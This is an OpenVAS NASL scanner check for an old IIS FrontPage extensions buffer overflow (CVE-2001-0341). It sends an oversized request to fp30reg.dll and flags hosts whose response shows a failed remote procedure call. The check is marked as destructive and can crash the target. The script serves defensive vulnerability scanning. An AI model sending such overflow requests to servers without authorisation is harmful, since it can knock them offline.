IIS FrontPage DoS II

# OpenVAS Vulnerability Test
# $Id: frontpage_overflow.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: IIS FrontPage DoS II
#
# Authors:
# John Lampe <[email protected]>
#
# Copyright:
# Copyright (C) 2001 John Lampe
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "Microsoft IIS, running Frontpage extensions, is vulnerable to a remote 
buffer overflow attack. An attacker, exploiting this bug, may gain 
access to confidential data, critical business processes, and
elevated privileges on the attached network.";

tag_solution = "Install either SP4 for Windows 2000 or apply the fix described
in Microsoft Bulletin MS03-051";

if(description)
{
 script_id(10699);
 script_version("$Revision: 8023 $");
 script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
 script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
 script_bugtraq_id(2906);
 script_cve_id("CVE-2001-0341");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

 name = "IIS FrontPage DoS II";
 script_name(name);

 script_category(ACT_DESTRUCTIVE_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
 script_copyright("This script is Copyright (C) 2001 John Lampe");
 family = "Gain a shell remotely";
 script_family(family);
 script_dependencies("gb_get_http_banner.nasl");
 script_mandatory_keys("IIS/banner");
 script_require_ports("Services/www", 80);
 script_tag(name : "solution" , value : tag_solution);
 script_tag(name : "summary" , value : tag_summary);
 script_xref(name : "URL" , value : "http://www.microsoft.com/technet/security/bulletin/MS03-051.mspx");
 exit(0);
}

#
# The script code starts here
#
include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

sig = get_http_banner(port:port);
if ( sig && "IIS" >!< sig ) 
	exit(0);



#Make sure app is alive...
mystring = string("HEAD / HTTP/1.0\r\n", "Host: ", get_host_name(), "\r\n\r\n");
if(get_port_state(port)) 
{
    mysoc = open_sock_tcp(port);
    if (! mysoc)
	exit(0);
    send(socket:mysoc, data:mystring);
    incoming = http_recv(socket:mysoc);
    if(!incoming) 
	exit(0);
    close(mysoc);
}


mystring= string ("GET /_vti_bin/_vti_aut/fp30reg.dll?" , crap(260), " HTTP/1.0\r\n", "Host: ", get_host_name(), "\r\n\r\n");
if(get_port_state(port)) 
{
        mysoc = open_sock_tcp(port);
	if (! mysoc)
		exit(0);
        send(socket:mysoc, data:mystring);
        incoming=http_recv(socket:mysoc);
        match = egrep(pattern:".*The remote procedure call failed*" , string:incoming);
        if(match) 
		security_message(port);
        close (mysoc);
}